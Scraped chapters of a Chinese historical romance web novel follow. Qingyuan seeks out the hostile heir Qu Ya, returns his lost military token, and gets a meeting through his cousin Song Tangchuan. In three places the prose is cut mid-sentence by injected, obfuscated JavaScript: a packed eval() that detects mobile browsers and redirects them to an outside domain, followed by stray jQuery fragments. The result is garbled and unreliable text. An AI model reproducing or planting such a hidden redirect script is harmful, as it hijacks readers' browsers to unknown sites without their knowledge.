青鸢听他恶语相向,乖觉点了点头,不敢再动。 腕口有点疼,瞿涯松手后,她果真看到自己腕上已经明显红了一圈。 青鸢发了蔫,原本受他威慑,该安分下来的,可瞿涯罕见给她当面说话的机会,眼下机不可失,失不再来,她只能硬着头皮再度开口。 “世子领兵在外,两年内鲜少回京,若非因为我们,世子也不会一心想着远离京城,远离侯府,或许更不会在刀剑无眼的战场受得这些伤了。” 这些话都是出自真心,青鸢早不止一次感慨,世事无常,命运捉弄。 就像她与瞿涯,意外的相遇,却结下了夙怨。 瞿涯听后,脸色更戾几分,他厌烦青鸢总提那些事。 “你娘用花言巧语哄骗老头子还不够,同样的招数,你们母女俩就用不腻?” “不是……” 瞿涯不耐打断:“你到底想说什么?” 青鸢美眸里映着淡淡的碎光,喃喃着:“我只是想知道,世子身上,有几处伤。” 面对瞿涯,青鸢首先当然是惧怕,可内心最深处,难免还有些微妙的愧疚。 无论如何,她们是外来者,搅扰了他的生活。 瞿涯闻言先是一怔,旋即讥嘲:“腹上背上都有,你要看?今日你上赶来给我献身,怎么总想扒我的衣服?” 青鸢难堪窘迫,垂目往自己身上匆匆一瞥,脸颊发红,嗡声说:“我眼下这副样子,世子并没有吃亏。” 那要怪谁? 衣服是他往她身上套的吗? 倒是看看,她身上内衫的布料这块有那块无的,什么也遮不住,还不如不穿。 瞿涯冷眼睨她,心想说自作自受。 不过开口时他却问:“你身上这衣服哪来的?阆苑的姑娘都有?” 瞿涯不由想到刚才船上有人妄议说,阆苑是勤王后院,暗指里面的姑娘都已受指染。 青鸢摇头,如实回:“是我自己私定的。两月前,听闻世子打了胜仗,凯旋回京,我便动了要寻你的心思,之后百般尝试,都没机会见你一面,今日,是我幸运。” 瞿涯一把掐上她的腰,带着她整个人往上提了提,眯着眼,轻蔑道:“居心叵测,还敢说没有坏心思?” 青鸢被他掌心力道压制,腰身不由泛软,声音也轻:“不是坏心思,是想与世子……谈条件。” 瞿涯好整以暇,等她后话。 青鸢抿抿唇,试探地开口:“青鸢身份低微,唯自己能作条件,若世子能高抬贵手,不再阻拦我阿娘进侯府,青鸢愿为奴为婢,余生报答世子。” “我不缺奴婢。”瞿涯虎口掐上青鸢两边脸颊的软肉,指腹带茧,磨得青鸢好不舒服,随后目光暗沉,不留情道,“你的条件,并不诱人。” 青鸢眼神慢慢落寞下去,嘴唇有点发颤。 瞿涯看她无措的模样,拇指稍加力道,又问:“你知不知晓,何为禁脔?” 青鸢整个人都抖了下,不可置信看向瞿涯,嘴巴动了动,似要启齿。 瞿涯更快一步地将她的嘴巴捂住,并不想听她答复。 问完,他整个人都更显烦躁了。 耐心见底,瞿涯不再多发一言,直接将青鸢扯拽下去,不许她再近身。 “话说完了,可以滚了。” 青鸢怔怔地看着他,一时没有动。 瞿涯皱眉又催一遍:“滚。” 他严厉喝令的语气,与方才吼王赞他们时没有区别,甚至此刻眸底生出郁郁的暗红,更显凶神恶煞些。 若放在刚刚,青鸢势必被吓得腿软。 可经过先前那一番纠缠,两人有了亲近,这无形之中给了青 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16285642|182576||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鸢很多底气。 于是,她敢迎着瞿涯的怒恚,鼓起勇气再问一声:“之后,我能再见世子吗?” 瞿涯面上无表情,漠声开口:“今夜我赴宴酒醉,酒后不清不楚的话当得什么真?你走吧。” 酒醉? 他身上哪有半分酒气…… 青鸢顿时好委屈,她穿成这样给他看遍,不管他是主动多还是被动多,两人亲密成事实,他如何能占了便宜后,甩脱得这么轻易? 瞿涯看她又要掉眼泪,蹙眉站起,不等青鸢先走,他等不及地越过她,下了二楼。 画舫荡着荡着已经将近靠岸了。 等青鸢匆忙穿戴好衣衫,急追下来时,下层舱室里只剩画意一个,早不见瞿涯的身影。 …… 坐马车返回阆苑的路上,青鸢颓然,整个人都有些失魂落魄。 画意在旁唤了她好几声,青鸢才回神有了些反应。 “青鸢姐姐你怎么了,这么魂不守舍的?我是问刚刚世子唤你上楼做什么,怎么这么久才下来?” 阆苑的规矩有一条就是少打听,若非此刻青鸢脸色实在苍白骇人,画意就算再好奇,也不会多嘴询问。 想着青鸢刚刚还为她出过头,画意忍不住对她表露关切。 青鸢摇了摇头说:“没什么,世子唤我上去是提醒我们嘴上要守规矩,刚刚在席上,贵人们闹得不愉快,世子叫我们别往外乱嚼舌根。” 画意不疑有他,心想着,难怪青鸢姐姐忽的脸色煞白,被世子叫走单独恫吓,就是七尺男儿也得被吓得腿软啊。 “世子谨慎是好,不过咱们阆苑的姑娘,个个都守规矩,世子是徒劳担心了。” 青鸢勉强笑了笑,依旧心事重重。 车厢内沉默一会儿,画意忽的又有动作。 她迟疑着从袖口掏出一个玄铁令牌,掂在掌心,对青鸢说:“这是世子遗落在船上的,我捡到后,本想等世子下来时亲手给他,可世子走得急,我没机会说上话。这令牌要不先交给姐姐保管,姐姐想办法差遣人送还回去?” 画意是阆苑新人,前段时间受训,刚刚被薛三娘怪腔怪调地提醒,别总想着当姑奶奶使唤人,她若自己找人去还,难免要寻薛三娘出力。 想到薛三娘那副不正眼瞧人的面目,画意打了退堂鼓,只好找青鸢帮忙。 青鸢与她们不同,勤王座上宾,阆苑上上下下都敬着她。 青鸢看到那枚令牌也是诧异,腹诽瞿涯怎么会如此不小心。 她接过,用手摩挲,令牌正面是錾刻的雷殛暗纹,反面层叠云纹,纹间浮着细密鳞甲,检查过两遍,她确认那正是瞿涯的随身令牌,重要之物。 青鸢慎重问:“你看到世子是何时掉落的吗?” 画意摇了摇头:“没注意,我看到时令牌就在地上了,不过我猜应该是世子踹桌子的时候掉的,当时世子动作可不小。” 青鸢将令牌收好,对画意道:“交给我吧,明日我找人还回去。” 画意当然是放心的,没有异议。 青鸢握着手里的硬物,垂目若有所思。 5. 第 5 章 青鸢私自藏下了瞿涯的令牌,两日过去,内心愈发忐忑。 她早打听到,瞿涯回京后兼任殿前都指挥使,总领宫廷宿卫,她手中的这枚令牌能随意调动京中各营禁军,遗失是大事,藏匿更是死罪。 青鸢自是没有贼子野心,她唯一的目的不过是想再见瞿涯一面。 夏蝉从外回来,将打听到的风吹草动告知给青鸢:“姑娘,世子那边并无异样动静,禁军各营也换防如常。” 青鸢思忖着,纤细莹润的手指轻轻落在手边药匣的锁扣上,有一下没一下地揿着。 夏蝉目光移过去,她知晓姑娘往里藏了东西,药匣不起眼,适合掩人耳目。 “世子身边的人呢,可有四处走动?前日画舫酒宴上参席的客人,世子都未找过?” 夏蝉摇头回:“都没有,或许世子顾忌遗失禁军令牌有失责之罪,所以没有声张。” 是有这个可能。 青鸢手下动作停了,思量想,令牌虽能成她的敲门砖,可同时也是块烫手山芋。 凭此令牌,她的确可以轻轻松松再见瞿涯一面,免去不少周折,可如此一来,他势必又认定她不择手段,厌恶她的自作主张。 画舫之上对峙,他已经对她偏见颇深了。 若眼下再做令他生厌的事,恐怕自己所求之事非但办不成,还会徒惹别的麻烦。 思来想去,青鸢还是决定收敛心思,把药匣交给夏蝉,命她本本分分送还回去。 “你亲自去送,也不必掩人耳目,就正大光明地送去世子府。” 夏蝉有点想不通,姑娘为何甘心舍了令牌,放弃眼前见世子的大好机会,但她没有多嘴,无条件信任听从姑娘的安排。 姑娘做事,一定有她的道理。 …… 瞿涯在京有皇帝亲赐的宅院,最寸土寸金的黄金位置,足足占地五亩,名副其实的城东金枢,可见圣恩深隆。 不过这样奢华的三进院落,他住得时日并不多。 自被任命为征虏大将军,瞿涯常年驻扎边地,鲜少回京,偶尔回来述职,他不会住侯府,只在自己的院里小住几日。 就因有这么几日,府里常年有内外管事打理,仆妇婢子都不少,并且日日净扫。 瞿涯自己过得糙,觉得没必要,但阖府上下都是舅母帮他管着,他也懒得费心。 从官廨回来,瞿涯在书房饮茶,问身边手下道:“这两日,熹园无人登门拜谒?” 瞿涯的贴身侍卫名唤佟木,闻言几分困惑地出声:“世子自回京后,几乎整日都呆在官署,若有人找,大多都将拜帖送去那边了,熹园雅静,并无人扰。” 瞿涯垂目继续品茶,状似随口提醒:“不是公事。” 那是私事? 佟木反应了下,很快想到什么,立刻点了点头:“对了,也有私事找。” 瞿涯放下茶杯,嘴角不动声色露出一抹嘲讽的笑,面上一副果然不出我所料的神色。 “又纠缠着想要求见?”他漫不经心的口吻。 佟木愣了下回:“也不算纠缠,宋公子就是去衙署扑了空,他说与表哥好久不见,心上挂念,想与世子饮饮酒,谈谈心。” 瞿涯面容一滞,眉心稍拧:“棠川?” 佟木老老实实回:“是,今日衙署公事太多,私约都没应,卑职正想问世子何时有空与宋公子一叙,得了准话,我便叫人去回。” 瞿涯听着窗外花丛里蝈蝈聒鸣不止,顿时心生烦躁。 他抬手扯了扯上衣襟领,喘息几口气,还是不痛快。 “没有别的私约了?”瞿涯问。 佟木憨憨一笑,完全未察觉瞿涯的情绪,还在那乐呵呵的:“还有就是京中有待嫁女儿的权贵老臣,频邀世子府上一聚,明面同僚麇集,实际男女相看,世子不是吩咐卑职,这种邀约全部回绝嘛。” 瞿涯双眸微黯,揉了揉眉心,吩咐说:“现在,去公主府把棠川叫来。” 佟木迟疑:“这么晚了……” 瞿涯无所谓的语气:“无妨,他若睡了,直接从榻上将人拽来。” 佟木不敢有意见,本分依从。 …… 一番折腾,将近夜半子时,熹园邀月亭里的汉白玉圆桌上,酒菜铺陈完毕。 四周几盏明烛掩映,两人对影而酌。 宋棠川一脸的无可奈何,连连打着哈欠说:“表哥,你明日约我不是一样,这么晚了非唤我过来,害得母亲以为出了什么事,对我一阵叮嘱交代。” 瞿涯瞪了旁边的佟木一眼,蹙眉问:“怎么会惊动到舅母?” 宋棠川一哂,帮忙解释:“不怪木头,是母亲与父亲饭间起了口舌之争,父亲挨罚不准睡,母亲监督父亲受罚。” 男子汉大丈夫,哪能被夫人随意责罚,这事若放在寻常人家,可真是罕闻。 然而瞿涯的舅母是堂堂长公主殿下,当今圣上唯一的嫡亲妹妹,身份何等尊贵,旁的人家是以夫为尊,公主府自然是以公主为尊了。 不过说是责罚,只是夫妻间的小打小闹而已,丹阳公主与驸马恩爱,在京中是人尽皆知的事。 思及此,瞿涯会意地笑了笑,没有对舅舅的担心,反而生出几分幸灾乐祸。 同时,又有些羡慕。 但这股怅然情绪被他极快地压抑掩饰,面上毫无显现。 他示意佟木退下,与宋棠川在凉亭里单独酣饮。 宋棠川两杯温酒火辣辣进肚,困意已经消了大半。 他与瞿涯边碰杯边说:“知晓你近日烦心事多,有什么话你就多与我絮叨絮叨,不然闷在心里,郁郁的多难受。” 瞿涯睨着表弟文绉绉的白脸蛋,似笑非笑道:“你近来烦心事也不少吧?听说舅母正费心为你千挑万选择着意中人?” 宋棠川脸一红,忙摆摆手:“别别,说你的事,千万别扯我。” 收了玩笑的心思,瞿涯一饮而尽,目光渐渐凉了温度:“我的事,也没什么,不过老爷子闹到圣上面前,涕泗横流,要死要活,应当过不了几日,陛下该召我进宫谈谈心了。” 宋棠川忿忿不平,冷哼一声道:“姑父当真是喝了迷魂汤,糊涂啊!他还顾不顾侯府名声,还顾不顾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16285643|182576||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他唯一的儿子了?就为了那个伶人,冲动至此。” 瞿涯没有回复,眼神淡淡而戾。 宋棠川又表态说:“表哥你放心,我们都站在你这边,父亲同样气恼不已,日日在家咒骂,我娘也说要准备进宫去了。皇帝舅舅可不昏聩,两边孰轻孰重,他心中有数,更何况,皇帝舅舅那么看重你。” 瞿涯放下酒杯,情绪未见明显起伏:“不必叫舅母跑一趟了,陛下圣君,自有裁断。” 宋棠川蹙起眉头,没有应,他觉得如此不够保险。 不是有句话,帝心如渊,圣心难测。 此事就该层层提防,各方施压,半点不给那女人得逞的机会。 宋棠川正要再说什么,佟木这时去而复返,手里拿着个东西,脚步更急燎燎的。 站定到近前,佟木禀告说:“世子,傍晚有人来熹园送上这个药匣,不怎么招眼的玩意,守卫们没当是重要物件。刚刚卑职照常过去巡查,他们把东西给我,卑职打开药匣一看,发现……” 佟木话音顿了下。 瞿涯看了眼宋棠川,示意佟木无妨,可以说下去。 佟木干脆伸手,把虚阖的药匣完全打开,展示在瞿涯与宋棠川面前。 宋棠川一副不明所以的样子,看着问:“这不是禁军令牌嘛,放在药匣里?挺别致。” 瞿涯盯了盯,目光移开,沉声问:“何人送来的?” 佟木回:“据守卫说是个年轻女子,那女子言道,这是世子遗落之物,送完便走了。” 瞿涯:“没留别的话?” 佟木摇头:“未曾。” 瞿涯不再言语,冷着脸,指腹摁在酒杯上,力道收紧,液面颤晃。 宋棠川看看佟木,再瞟瞟瞿涯,摸不着头脑问:“表哥,这怎么回事?你的令牌先前是丢了?” 瞿涯没给他解疑,提起另一话题:“你过几日是不是要随工部去趟阆苑,为亲王殿下做园林修缮?” 宋棠川点点头:“正是,我知表哥如今忌讳那地方,但我公职在身,是不得不去的,毕竟那是勤王私苑,也算皇室园林。对了,那姓贺女人的女儿叫什么,说不定我在阆苑能正巧碰上。” 瞿涯随意地答了:“青鸢。” 宋棠川喃喃重复了遍,开口评道:“鸣鸢弄双翼,飘飘薄青天,真是好没着落的一个名字。” 瞿涯:“她心思玲珑,又擅取巧,或许知晓你与我的关系,会唐突找上你。” 宋棠川眉心一挑,语气矜傲不少:“表哥放心,若她敢来套近乎,我绝对不会给好脸色,更不会帮她传话给你的。” 瞿涯却说:“不,你给她寻方便罢。” 宋棠川瞬间瞪大眼睛,简直怀疑自己听错了。 瞿涯又想到什么,脸色微肃,叮嘱一句:“若她又用美人计,你……” 宋棠川当即面红奓毛,站起来回:“我洁身自好,绝对把她用力甩开!” 说完还挺激动,脑子一热,自然忽略了瞿涯用词里的那一个意味深长的“又”字。 瞿涯要笑不笑的神色,淡淡“嗯”了声。 6. 第 6 章 阆苑每年都要整体修缮一次,由工部营缮司负责,时间一般在秋冬。 但半月前,京中骤降罕见暴雨,苑中古树水体均受破坏,阆苑是勤王的私苑,工部的人不敢懈怠,等新来的树种一到,立刻着手修整事宜。 宋棠川正是负责人之一。 他是皇室外姻,生来尊贵,在工部任职并不是想过过官瘾,而是真正对宫殿园林的建造设计感兴趣,从小爱对亭台楼阁、轩榭廊舫痴迷钻研。 再说勤王,京都第一富贵闲人,不恋权势,唯爱听音看舞,在兄弟们个个为了皇位争得你死我活之际,他将全部心力倾注在阆苑的建造以及琴师的寻觅上,两耳不闻窗外事。 正因如此,他躲过新帝登位后的血腥清算,与皇帝兄友弟恭,被赐了几生几世花不完的钱银,余生享乐。 这位老皇叔出手有多豪呢,宋棠川最有话说。 单单阆苑顶楼的方阶,全部金砖铺就,足足三十六块。这一工程,当初由宋棠川亲自督工,那时工部上层未雨绸缪,心想若派去个没见过世面的官吏,万一偷工减料,私自抱走一块,可是重罪,于是他们商议着私定了最合适的人选,也就是皇亲宋棠川。 宋棠川费了大功夫研究怎么铺砖,想方设法垒砌结实,防着贼人飞盗,结果竣工后,勤王自己不住顶层阁楼,偏偏在里面供着阆苑技艺最高超的琴师娘子,叫人大大咋舌。 旁人是金屋藏娇,而勤王殿下高雅,金阶只为捧知音。 宋棠川有小一年没来过阆苑了,一进门,四面环视,目之所及亭台楼阁没多大变化,但廊下有株合欢树已经移栽别处,取而代之的是一丛木槿,焕然一新。 时值六月,木槿正在怒放,花比去年艳。 宋棠川抬步往里走,一边例行公事带人检查破损,指挥修缮,一边心里惦记着表哥的交代,全程警惕身边有没有奇怪的人靠近。 可结果,他勤勤恳恳干了一天,除了阆苑的弦音掌事薛三娘给他殷勤送过茶汤外,再没有旁人上前与他搭过闲话了。 早听闻阆苑规矩严,传闻果然不虚。 可如此一来,表哥交给他的任务可没完成啊。 从阆苑出来,宋棠川没回公主府,而是饶道前往熹园。 瞿涯今日回府早,两人没有错过。 见了面,瞿涯率先开口,神色平常:“她求你带来什么话?” 话音之中不自觉透着几分笃定,仿佛一切尽在掌握中。 宋棠川轻咳一声,有点尴尬地摇了摇头:“没有。” 瞿涯抬眼看他:“没有?” 宋棠川老实回:“那位青鸢姑娘并未寻上我,也没有找我帮任何忙。” 瞿涯眼神微变,很快又道:“你明日不是还去?总共修缮三日,她总得选选时机。” 宋棠川迟疑着喃喃:“如此说来,也在理……” 瞿涯拍拍他肩膀,是送客的意思。 …… 第二日,宋棠川与工部的人顶着烈日,再去阆苑例行公事。 薛三娘依旧侯在门口满面笑意,热情接待。 宋棠川也寻不到旁人问话,于是试探性地向薛三娘说道:“薛掌事,我们修我们的,不必拘束姑娘们的活动,她们随意在园中走动都无妨。” 薛三娘摇着花扇,扬起眉梢笑回:“宋公子放心吧,我们没立规矩,这是天气热的缘故,姑娘们个个喜净,都怕出门走动出一身汗,等日头落了,她们自然愿意开门溜达。” 宋棠川闻言若有所思地点了点头。 薛三娘一走,他立刻低声吩咐手下人放慢手里的话,更细致些,最好在黄昏后收工。 花匠们面面相觑,工部的人同样不解其意。 这么晒的天,自然是早做完早清闲啊,为何要拖呢…… 但没人多嘴问,宋棠川的身份摆在那,他的话往往比工部尚书的还要管用。 宋棠川如此安排,是为掩人耳目,等院里走动的姑娘一多,来来往往的,有想过来寻他的自然不至于过于招眼。 他自认为帮青鸢解除了顾虑,还颇为自得。 然而直至傍晚收工,别说青鸢主动找上他了,他根本连青鸢的影子都没看到。 晚上回去,宋棠川如实汇报。 他叹息自己拖延不易,光古树移栽的位置就换了三回,显得特别不专业。 抱怨完,又忍不住嘟囔了句:“表哥,我觉得人家压根没有找我帮忙传话的意思。” 瞿涯脸色不虞。 半响,喃喃:“胆子愈发大了……” 这话声量不大,但意味深长,宋棠川勉强听清,觉得表哥应当不是说他的。 宋棠川顿了顿,又问:“我明日再去阆苑,还需故意拖时间吗?” 瞿涯语气冷冷的:“不必,做好你分内的差事,她若还不寻你,不用管她了。” 宋棠川应声,看着表兄冷下来的眼神,识趣地默默屏退了。 …… 第三日,也是工部在阆苑修缮的最后一日。 前两日已经补完降雨后的明显损缺,今日再来,主要是为细微处的查漏。 例行检查时,有个不起眼的小姑娘走到宋棠川身边,施了一礼说:“大人,顶楼那边的金阶被雨水冲得松动了,若是方便,可否请大人过去看看?” 宋棠川望着眼前婢子打扮的朴素姑娘,没有做多余联想。 他不怎么在意地开口:“金阶松动确实不是小事,我们待会过去看看。对了,听说那边住的是王爷最看重的琴师娘子,她一人独居顶层阁楼。” 后半句问询,纯粹满足他自己的好奇心。 婢子垂目点了点头:“是。” 宋棠川顺势打听:“那姑娘叫什么名字?” 谁料他随口一问,对方竟答:“我家姑娘名唤青鸢。” 青鸢…… 青鸢!? 宋棠川睁大眼睛,立刻振奋,心里更莫名激动了下。 他当即不带犹豫地开口:“你,你带路吧,我亲自过去看看,旁人不必一同跟去了,你们继续检查这附近的院子。” 撇下众人后,宋棠川跟着夏蝉穿过假山,往顶楼方向走。 到地方一看,金砖铺就的阶梯有两三块的确有松动的罅隙,但应不是被雨水冲刷的,看上面的痕迹…… 宋棠川眯了眯眼,伸手摸了摸,确认金砖上撬凿的刻痕是人为破坏。 看来对方提前有准备,早想引他过来了。 夏蝉:“我家姑娘看大人暑热辛苦,特意备了凉茶,大人检查完后可以进屋饮一口。” 宋棠川当然应:“青鸢姑娘有心了。” 看金砖就是借口,主要目的是两人会面。 宋棠川也不耽误,没一会就进了屋。 进门前他还忐忑了下,想到表哥说的美人计,心脏跳得厉害。 他不久前刚过完十九岁生辰,连花楼都没进过,更没与什么姑娘接触过,怎会不慌。 抬眼见到青鸢,宋棠川微微一怔,映入眼帘的那张脸比他先前想象的还要惊艳绝伦。 他下意识耳朵热起来。 青鸢不疾不徐地走近,身上的甜甜淡香扑鼻好闻。 宋棠川一瞬间耳尖更热了。 青鸢举止上毫无轻佻之意,只冲他欠身道:“奴家见过宋公子。” 宋棠川故作骄矜,刻意板了板脸,语气不好道:“我知道你是谁,你不用再耍心眼,整那么多的弯弯绕绕,有话直说吧。” 青鸢讶然了瞬,很快恢复面上的温和,她弯了弯唇,眼眸似水杏盈盈。 “我只想求宋公子帮一个小忙,带我去熹园一趟,见一见你表兄。我保证不会多事,只是有话想找世子说。宋公子放心,到时我会遮掩身份,扮作你的婢女入园。” 虽然表兄早有交代,要给她寻方便,但也不能太轻易地答应吧。 于是宋棠川一副不好说话的样子:“我凭什么帮你,你娘祸害了我姑父,你现在又想害我表兄吗?” 青鸢面容僵了僵,忙解释说:“我绝无此意,只是想若此事继续闹僵,他们父子离心,怕是会横亘仇恨,我想尽力从中调和,叫大家都少受伤害。” 宋棠川冷哼:“既然想大家都好,那就带你娘离开京城啊。” 青鸢叹息:“若是这么容易,事情早就迎刃而解,世子也不必如此烦忧了。” 宋棠川 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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青鸢察觉水汽蒙脸,很快反应过来,她是错寻到了浴室。 正要转身退出来,屏风后突然传来一道沉沉的声音。 “磨蹭什么?” 是瞿涯。 青鸢一僵,没动。 他那样戒备心强,怕是不愿她踏足他的私人领域。 先前她设想的会面场合是书房或者院中,像浴室那样的氛围,一定不会是他喜欢的。 可偏偏,瞿涯就选在浴室见她,让人捉摸不透。 青鸢还在迟疑踟蹰。 瞿涯在里面不耐烦地扬声:“进不进?不进就滚。” 他对她永远凶巴巴,不耐,厌烦。 青鸢不敢托大,赶紧绕过屏风,硬着头皮去见他。 浴房比她想象的还要宽敞,氤氲朦朦的,最中央是整块汉白玉凿的浴槽,长近丈余,旁边有张矮几,上面放置着香薰炉,烟迹袅袅,腾于虚无。 青鸢敢扫视房间布置,不敢看瞿涯一眼。 越是离近,她越规矩地低垂视线。 但余光仍能注意到,瞿涯已经宽衣,半身浸在汤泉里,与她迎面正对。 青鸢忙见礼:“见过世子。” 对方忽的一声嗤,明显不太友善的态度。 青鸢僵硬抬眸,见瞿涯正闭眸歇神,没有看她,松了口气。 “听说你求着棠川要见我。”他声音慵懒。 青鸢侧过目光,避着看他裸露在外的结实胸膛,声音轻轻:“我对世子有所求,世子没有应我,我自要想方设法再做争取。” “争取……” 瞿涯重复她的话,带几分玩味。 他慢吞吞掀起眼皮,目光侵略性十足地落在她身上,寸寸掠过,眼风锋锐,好似能将她衣衫剥个精光。 青鸢无处遁形,抿住唇,手心又出了汗。 她第一次发觉,有的人,施压于无形,哪怕只用眼神浅掠,便能将对方凌虐个遍。 7. 第 7 章 两人一高一低对视,明明瞿涯泡在浴槽里,需得向上仰视她,然而青鸢局促站定,全无居高临下的优越,反而如芒在背的紧张。 她手心攥着袖口,粗麻麻的手感。 来前,为掩人耳目,她特意换作普通婢女的装扮,此刻荆钗布裙,一身朴素,面上更未施丝毫粉黛。 瞿涯面无表情地盯在她脸上,早注意到她与平日不同,哪怕褪下华裙,腮颊轻透,她素面朝天的一张脸依旧足够惹眼。 不道旁的,单她那副体态丰腴、玲珑有致的身子,媚感浑然天生,注定当不成安分的。 瞿涯眸光暗了暗,旋即收回。 又想到连日来她那些欲擒故纵的小把戏,眼底闪过一抹不屑的轻嘲。 青鸢注意到他目光不友善,不明所以,于是假装未觉。 瞿涯声音不厉而威,叫人听着很受压迫:“我早打听过,你只是贺容音领养的女儿,与她并没有血缘关系,如此,你还这般尽心尽力地帮她,当真难得。” 青鸢并不意外他能查出这些,瞿涯雷厉风行的手段,她从不敢小觑。 眼下时刻,与其虚与委蛇,不如坦白诚然。 青鸢回道:“养母恩重,无以回报。世子若查得彻底,应当知晓我阿娘的来历了。她是个命苦的女子,前半生过得昏暗无光,几经飘零……如今再遇故人,阿娘黯淡的眼中终于有了一丝光亮,这大概是她生命里最后一点对幸福的奢求,所以无论如何,我都想帮阿娘了却心愿,为此心甘情愿付出任何代价。” 瞿涯没有言语,半响,他冲她招了招手。 青鸢不敢怠慢,赶紧朝前靠近。 不知是她第一次看男子裸身不好意思,还是被水池热气熏燎的缘故,青鸢脸颊红得极快,完全不敢与瞿涯对视。 瞿涯好整以暇乜着她,抬手,拇指捏起她的下巴,迫她离自己更近。 两人近在咫尺,呼吸交缠。 瞿涯道:“你先前不是说,愿意为奴为婢伺候本世子,不知你说话的诚意有几分?” 青鸢当然愿意与他作成交换,立刻回:“请世子任意吩咐。” 瞿涯箍住她手腕,又捏痛她的手指,慢悠悠说道:“青鸢姑娘弹琴拨弦的玉指金贵,不知做不做得来帮人沐浴的活。” 青鸢将瞿涯的要求当做他报复羞辱的手段。 她一一应对。 青鸢不卑不亢坐在池沿,默声拿过一块干净的白棉巾浸水,伏身帮他仔细擦拭肩胛。 上次那道疤,她又看清了。 瞿涯不再言语,亦或是羞辱。 两人同时陷入沉默。 无声的环境里,相互接触的异样感觉被成倍放大。 瞿涯身子不受控的发僵,肩背被她摸碰,她力道像猫挠一样,一下接一下绵软无力,他咬紧牙关,只觉越来越痒,好似无数只蚂蚁在他背上爬。 最后忍无可忍,他凶着面目,一把扯过青鸢的手臂,将她桎梏停下,眼神晦暗几分。 “你没吃饭?” 青鸢一怔,美眸眨动,老实回:“还没来得及。” 瞿涯瞬间烦躁,比整她之前还要更烦。 他将她用力甩开,像脱手什么棘手的东西:“你这力道是伺候我,还是折腾我?” 青鸢看他不满,斟酌着小声提议:“那我再多用点力气,行不行?” 她委曲求全的好似没有一丁点脾气。 瞿涯俊容始终冷着,但眸底炯炯,分明是遮掩不住地炙热。 他错过目去,没应,但也没拒。 青鸢此刻只想讨好他,看到矮几上的瓷瓶里装着玫瑰露,她抹在掌中,揉出沫,而后小心翼翼帮瞿涯擦肤,想叫他更放松舒适。 可她哪里知道,她滑溜溜软似无骨的小手游走在瞿涯背脊,不管是什么力道,或轻或重,于他而言都是折磨,是酷刑! 他搭在浴槽沿边的手不自觉扣紧,呼吸愈发沉重,放松不了丝毫。 瞿涯绷紧声线,质问道:“你抹的什么乱七八糟的东西?香气熏人得很,自作主张。” 青鸢伺候的手停下,有点茫然。 玫瑰露又不是她带来的,本来就是瞿涯自己浴室里的东西,谁知道他不喜欢花香味,还将东西放在近处啊。 青鸢心里嘟囔,觉得他是没事找事,可嘴上当然不敢反驳。 她低眉顺眼,手上重新拿了块干净棉布,帮他把身上的香液过水拭干净。 两人短暂和平相处,没有剑拔弩张。 青鸢瞅准瞿涯眉梢放松的时机,主动起了新话题:“听闻世子先前向陛下请求,想在京中大办一场庆功宴,以扬国威,振奋军心,可有此事?” 瞿涯眼皮都不抬,大言不惭道:“我的军功难道还不配一场庆功宴?” “自然配得,自然配。”青鸢忙给他顺毛,语气温柔着又说,“只是世子始终犹豫吉日的选定,庆功宴自上月初开始筹备,到今日已过四十天,仍未有确定的准信,下面干活的那群人日日不敢松懈,实在辛苦。” 其实两人心里都有数。 瞿涯就是刻意拖延,目的是让这场庆功宴,挡住他老子娶妻的事。 毕竟官宦人家的普通嫁娶,哪有举国贺庆他的赫赫战功重要? 他的这个法子,既成功挡了他老子的道,也顺便挡得陛下开不了相劝的尊口。 青鸢对此一边恨得牙痒痒,一边又不禁佩服他的多谋手段。 瞿涯听出她话中有话,仰头闭目,慢悠悠回:“你可知晓,我们在战场拼过几次命?流过多少血?每个能活着回来的兵士都是好汉,前线鏖战艰辛,人人脑袋别在裤腰带上,如今好不容易凯旋回京,这场与民同欢的庆功宴当然不能马马虎虎,敷衍了事。” 青鸢沉住气,听他继续。 “所以,不管是宴会整体统筹,还是细节微末的安排,甚至小到喝什么酒赏什么曲,我都要一一确认过。如此,准备时间自然要长些。” 冠冕堂皇的理由。 他敢说自己完全没有私心? 青鸢有求于人,耐心劝说道理:“世子的庆功宴当然不能敷衍,但宫廷礼部已经足足准备了一个多月,哪怕再细微的地方,如今应该也确认得差不多了。刚刚世子提起那些跟随你出生入死的兵士,我想他们争得军功,回乡后肯定早早与家人报了喜,然而庆功宴迟迟不至,说不定附近的邻里街坊会议论闲话,猜疑他们冒领功劳,故意吹牛说大话。” 瞿涯蹙眉:“谁敢?” 青鸢看着他的脸色,继续说:“世子心慈,抚恤下属,肯定不愿见他们受这般委屈,如果庆功宴能尽快定下,风风光光大办一场,自然堵住了那些想看笑话人的嘴,劳苦功高的兵士及其家人也能真正地扬眉吐气。” 瞿涯:“你操心的事真不少。” 这话,不知是夸她还是损她。 既能理解为欣赏她的思虑周全,也可以认为是,讽刺她的多管闲事。 青鸢带着笑意,奉承着他说:“没有,我只是设身处地为大家想了想,世子行事比我考虑得周到,心中一定早就有数的。” 